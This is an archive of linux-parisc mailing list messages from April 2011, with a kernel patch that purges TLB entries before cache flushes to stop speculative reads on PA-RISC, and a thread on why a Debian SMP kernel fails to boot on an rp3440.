Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 15 19:37:28 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QAmxU-0008HB-1J
	for glpp-linux-parisc@lo.gmane.org; Fri, 15 Apr 2011 19:37:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755378Ab1DORh1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Apr 2011 13:37:27 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:41276 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753648Ab1DORh0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Apr 2011 13:37:26 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E82BF8EE131
	for <linux-parisc@vger.kernel.org>; Fri, 15 Apr 2011 10:37:25 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 42ifY8WBAn8V for <linux-parisc@vger.kernel.org>;
	Fri, 15 Apr 2011 10:37:25 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 8E5558EE0D9
	for <linux-parisc@vger.kernel.org>; Fri, 15 Apr 2011 10:37:25 -0700 (PDT)
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3533
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3533>

According to Appendix F, the TLB is the primary arbiter of speculation.
Thus, if a page has a TLB entry, it may be speculatively read into the
cache.  On linux, this can cause us incoherencies because if we're about
to do a disk read, we call get_user_pages() to do the flush/invalidate
in user space, but we still potentially have the user TLB entries, and
the cache could speculate the lines back into userspace (thus causing
stale data to be used).  This is fixed by purging the TLB entries before
we flush through the tmpalias space.  Now, the only way the line could
be re-speculated is if the user actually tries to touch it (which is not
allowed).

James

---

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index d18328b..da601dd 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -3,6 +3,7 @@
 
 #include <linux/mm.h>
 #include <linux/uaccess.h>
+#include <asm/tlbflush.h>
 
 /* The usual comment is "Caches aren't brain-dead on the <architecture>".
  * Unfortunately, that doesn't apply to PA-RISC. */
@@ -112,8 +113,10 @@ void flush_dcache_page_asm(unsigned long phys_addr, unsigned long vaddr);
 static inline void
 flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vmaddr)
 {
-	if (PageAnon(page))
+	if (PageAnon(page)) {
+		flush_tlb_page(vma, vmaddr);
 		flush_dcache_page_asm(page_to_phys(page), vmaddr);
+	}
 }
 
 #ifdef CONFIG_DEBUG_RODATA
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 3f11331..83335f3 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -304,10 +304,20 @@ void flush_dcache_page(struct page *page)
 		offset = (pgoff - mpnt->vm_pgoff) << PAGE_SHIFT;
 		addr = mpnt->vm_start + offset;
 
+		/* The TLB is the engine of coherence on parisc: The
+		 * CPU is entitled to speculate any page with a TLB
+		 * mapping, so here we kill the mapping then flush the
+		 * page along a special flush only alias mapping.
+		 * This guarantees that the page is no-longer in the
+		 * cache for any process and nor may it be
+		 * speculatively read in (until the user or kernel
+		 * specifically accesses it, of course) */
+
+		flush_tlb_page(mpnt, addr);
 		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
 			if (old_addr)
-				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
+				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
 			old_addr = addr;
 		}
 	}
@@ -499,6 +509,7 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 {
 	BUG_ON(!vma->vm_mm->context);
 
+	flush_tlb_page(vma, vmaddr);
 	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));
 
 }


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Notes about the latest cache patches
Date: Fri, 15 Apr 2011 12:41:50 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <1302889310.7706.8.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1302889318 22133 80.91.229.12 (15 Apr 2011 17:41:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 15 Apr 2011 17:41:58 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 15 19:41:54 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QAn1l-0000zY-7l
	for glpp-linux-parisc@lo.gmane.org; Fri, 15 Apr 2011 19:41:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753616Ab1DORlx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Apr 2011 13:41:53 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:56794 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752264Ab1DORlw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Apr 2011 13:41:52 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 444508EE131
	for <linux-parisc@vger.kernel.org>; Fri, 15 Apr 2011 10:41:52 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xvjABtMRP9+4 for <linux-parisc@vger.kernel.org>;
	Fri, 15 Apr 2011 10:41:52 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E993A8EE0D9
	for <linux-parisc@vger.kernel.org>; Fri, 15 Apr 2011 10:41:51 -0700 (PDT)
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3534
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3534>

The one that seems to make the most difference to me is not having the
kernel memory cache pages be marked executable.  This cures an
intermittent segfault I was seeing with git on the pa8800.

Also note that if you apply only the speculative read prevention patch,
you'll find the incidences of segfaults and cache nasties get worse (at
least they do on ion) mainly because the aggressive TLB purging leaves
the cache hardware with fewer lines to speculate, so it tends to be more
aggressive about speculating them ... leading to more incidences.

I find that the combination of the two patches cures all the segfaults
I've been seeing in normal compiles and git operations.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Debian bug 622997
Date: Sat, 16 Apr 2011 14:07:55 -0400
Organization: nrc.ca
Lines: 15
Approved: news@gmane.org
Message-ID: <20110416180754.GA18022@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1302977285 1782 80.91.229.12 (16 Apr 2011 18:08:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 16 Apr 2011 18:08:05 +0000 (UTC)
Cc: 622997@bugs.debian.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 16 20:08:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QB9ua-0007UX-3Q
	for glpp-linux-parisc@lo.gmane.org; Sat, 16 Apr 2011 20:08:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751056Ab1DPSH7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Apr 2011 14:07:59 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1905 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750864Ab1DPSH6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Apr 2011 14:07:58 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 44AF74E42; Sat, 16 Apr 2011 14:07:55 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3535
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3535>

I posted this debian bug report because the most recent debian
SMP kernel build fails to boot on my rp3440:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=622997

I don't think debian kernels have worked since lenny.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian bug 622997
Date: Sat, 16 Apr 2011 13:57:31 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <1302980251.4058.11.camel@mulgrave.site>
References: <20110416180754.GA18022@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1302980264 15835 80.91.229.12 (16 Apr 2011 18:57:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 16 Apr 2011 18:57:44 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, 622997@bugs.debian.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 16 20:57:39 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBAgc-0000PQ-9y
	for glpp-linux-parisc@lo.gmane.org; Sat, 16 Apr 2011 20:57:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752606Ab1DPS5h (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Apr 2011 14:57:37 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:34271 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752141Ab1DPS5g (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Apr 2011 14:57:36 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 9D8478EE023;
	Sat, 16 Apr 2011 11:57:35 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id NS4iQCICtUhb; Sat, 16 Apr 2011 11:57:35 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E44828EE01D;
	Sat, 16 Apr 2011 11:57:34 -0700 (PDT)
In-Reply-To: <20110416180754.GA18022@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3536
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3536>

On Sat, 2011-04-16 at 14:07 -0400, John David Anglin wrote:
> I posted this debian bug report because the most recent debian
> SMP kernel build fails to boot on my rp3440:
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=622997
> 
> I don't think debian kernels have worked since lenny.

Hmm, well upstream ones have: so it's likely a patch debian has but
upstream doesn't, or it could be a toolchain issue ... I didn't think
gcc-4.4.5 worked properly on 64 bit without a few patches?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Hutchings <ben@decadent.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Bug#622997: Debian bug 622997
Date: Sat, 16 Apr 2011 20:22:49 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <1302981769.5282.863.camel@localhost>
References: <20110416180754.GA18022@hiauly1.hia.nrc.ca>
	 <1302980251.4058.11.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg="pgp-sha512"; protocol="application/pgp-signature"; boundary="=-i64t+tVRFSWF8sUJwZdw"
X-Trace: dough.gmane.org 1302981789 23386 80.91.229.12 (16 Apr 2011 19:23:09 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 16 Apr 2011 19:23:09 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	622997@bugs.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 16 21:23:04 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBB5A-0005OW-8k
	for glpp-linux-parisc@lo.gmane.org; Sat, 16 Apr 2011 21:23:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752116Ab1DPTW7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Apr 2011 15:22:59 -0400
Original-Received: from shadbolt.e.decadent.org.uk ([88.96.1.126]:42823 "EHLO
	shadbolt.e.decadent.org.uk" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751414Ab1DPTW6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Apr 2011 15:22:58 -0400
Original-Received: from [2001:470:1f08:1539:21c:bfff:fe03:f805] (helo=localhost)
	by shadbolt.i.decadent.org.uk with esmtps (TLS1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.72)
	(envelope-from <ben@decadent.org.uk>)
	id 1QBB50-00026Q-U2; Sat, 16 Apr 2011 20:22:51 +0100
Original-Received: from ben by localhost with local (Exim 4.75)
	(envelope-from <ben@decadent.org.uk>)
	id 1QBB4z-00020L-Tc; Sat, 16 Apr 2011 20:22:49 +0100
In-Reply-To: <1302980251.4058.11.camel@mulgrave.site>
X-Mailer: Evolution 2.32.2 
X-SA-Exim-Connect-IP: 2001:470:1f08:1539:21c:bfff:fe03:f805
X-SA-Exim-Mail-From: ben@decadent.org.uk
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	shadbolt.decadent.org.uk
X-Spam-Level: ****
X-Spam-Status: No, score=4.9 required=5.0 tests=FSL_HELO_NON_FQDN_1,
	HELO_LOCALHOST,RDNS_NONE autolearn=disabled version=3.3.1
X-SA-Exim-Version: 4.2.1 (built Mon, 22 Mar 2010 06:51:10 +0000)
X-SA-Exim-Scanned: Yes (on shadbolt.i.decadent.org.uk)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3537
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3537>


--=-i64t+tVRFSWF8sUJwZdw
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Sat, 2011-04-16 at 13:57 -0500, James Bottomley wrote:
> On Sat, 2011-04-16 at 14:07 -0400, John David Anglin wrote:
> > I posted this debian bug report because the most recent debian
> > SMP kernel build fails to boot on my rp3440:
> > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=3D622997
> >=20
> > I don't think debian kernels have worked since lenny.
>=20
> Hmm, well upstream ones have: so it's likely a patch debian has but
> upstream doesn't, or it could be a toolchain issue ... I didn't think
> gcc-4.4.5 worked properly on 64 bit without a few patches?

We have a tiny number of patches on top of 2.6.38.2.

If you can identify the compiler patches required, I can ask the Debian
gcc maintainers to apply them.

Ben.

--=20
Ben Hutchings
Once a job is fouled up, anything done to improve it makes it worse.

--=-i64t+tVRFSWF8sUJwZdw
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)

iQIVAwUATansfOe/yOyVhhEJAQq8GQ//Z9aMPOcwLGTUcdGL2FGbjbt3+R1z7nun
0d6VBYDOhngC8nMNgCbg2j0/88APeaZo7PLVxvJwIYGtjxGhNeRaWUUN43nQF8bA
lC0zhV27dzU6daYPVbU6tbypgCAPxO3OolGXHcxv7oe8w+sEXzuCPlofxsXeSFX1
P7VYt74WPAgTo2gJO9H2W/qbZi1XSfySZM9yJ36EjQua8DJSJm8Rzc9aegUZkYdZ
i3Tgh4EuNXLeoVGCGN5eexfys6lHppJq8BRCMhK9kjy4oelgYpK8ZqkyKyrl7Iu/
Okn5p8QyIREjX5mKEjCBH9EkTZUcCEzXr05T/5srpMOqxdglylhellrCMHmGNQdU
spRvXJa0E8PYgrxE0kHKpAHCj0K2Nn5yCuDWcPX3ppI4mGLJNGeJQg6+VffF5LXG
PYDo3FDUW2QLiNMdxzp6fQaiAMnEG+Mc/+WFFVNkSEXtgUGlUQTa05jo/68ynkSA
pazSaqRjZnmCvgVCEXj+aJp4PVrT+/vHBGXnHo/lh2JJ5+BgeBlcjoYuUZSFr7Oj
OfA0cb/GqlB1x/B00Fx99zeFkSYH5kDtWwZvP8SfSgs76GCERSlYifvgU2MZkXO9
LzyZhrTrntoW6DXhhyGW2qughSZzWOGZ49TKs3TAaKopGNny8V/gbbiZy7l18Kzd
Xl77BVqHSRk=
=b0U6
-----END PGP SIGNATURE-----

--=-i64t+tVRFSWF8sUJwZdw--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian bug 622997
Date: Sat, 16 Apr 2011 15:29:19 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <20110416192920.1E15B4FD9@hiauly1.hia.nrc.ca>
References: <1302980251.4058.11.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1302982169 25112 80.91.229.12 (16 Apr 2011 19:29:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 16 Apr 2011 19:29:29 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	622997@bugs.debian.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 16 21:29:24 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBBBM-0000GK-HE
	for glpp-linux-parisc@lo.gmane.org; Sat, 16 Apr 2011 21:29:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751414Ab1DPT3W (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Apr 2011 15:29:22 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1950 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751411Ab1DPT3V (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Apr 2011 15:29:21 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 1E15B4FD9; Sat, 16 Apr 2011 15:29:19 -0400 (EDT)
In-Reply-To: <1302980251.4058.11.camel@mulgrave.site> from "James Bottomley" at Apr 16, 2011 01:57:31 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3538
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3538>

> On Sat, 2011-04-16 at 14:07 -0400, John David Anglin wrote:
> > I posted this debian bug report because the most recent debian
> > SMP kernel build fails to boot on my rp3440:
> > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=622997
> > 
> > I don't think debian kernels have worked since lenny.
> 
> Hmm, well upstream ones have: so it's likely a patch debian has but
> upstream doesn't, or it could be a toolchain issue ... I didn't think
> gcc-4.4.5 worked properly on 64 bit without a few patches?

Yes, but debian tends to build almost everything.  For some reason,
I've turned off ipv6.  Unlike many kernel bugs, this one is completely
reproducible.

I would say gcc-4.4.6 or a snapshot latter than 2010-12-22 is needed
for kernel builds.  asm in delay slot patch is key patch.  As this was
discussed on list, I'm a bit surprised that this wasn't picked up if
that's the problem.

I'm doing a build based on debian's config with my toolchain to see
if it has the same problem.

There may be a toolchain issue wrt CONFIG_FRAME_POINTER (frame pointer
optimization).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Debian bug 622997
Date: Sat, 16 Apr 2011 15:48:06 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <1302986887.4058.13.camel@mulgrave.site>
References: <20110416192920.1E15B4FD9@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1302986899 14664 80.91.229.12 (16 Apr 2011 20:48:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 16 Apr 2011 20:48:19 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	622997@bugs.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 16 22:48:15 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBCPe-0006sK-OC
	for glpp-linux-parisc@lo.gmane.org; Sat, 16 Apr 2011 22:48:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752338Ab1DPUsL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Apr 2011 16:48:11 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59967 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752262Ab1DPUsL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Apr 2011 16:48:11 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7C6168EE023;
	Sat, 16 Apr 2011 13:48:10 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id I7fzh8GH3eGo; Sat, 16 Apr 2011 13:48:10 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id BB3B58EE01D;
	Sat, 16 Apr 2011 13:48:09 -0700 (PDT)
In-Reply-To: <20110416192920.1E15B4FD9@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3539
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3539>

On Sat, 2011-04-16 at 15:29 -0400, John David Anglin wrote:
> > On Sat, 2011-04-16 at 14:07 -0400, John David Anglin wrote:
> > > I posted this debian bug report because the most recent debian
> > > SMP kernel build fails to boot on my rp3440:
> > > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=622997
> > > 
> > > I don't think debian kernels have worked since lenny.
> > 
> > Hmm, well upstream ones have: so it's likely a patch debian has but
> > upstream doesn't, or it could be a toolchain issue ... I didn't think
> > gcc-4.4.5 worked properly on 64 bit without a few patches?
> 
> Yes, but debian tends to build almost everything.  For some reason,
> I've turned off ipv6.  Unlike many kernel bugs, this one is completely
> reproducible.

I suppose it could be USB ... before I got ion, I didn't have any parisc
systems with USB, so it's turned off in my build.  I'll turn it on and
see if there's a problem there.

James


--
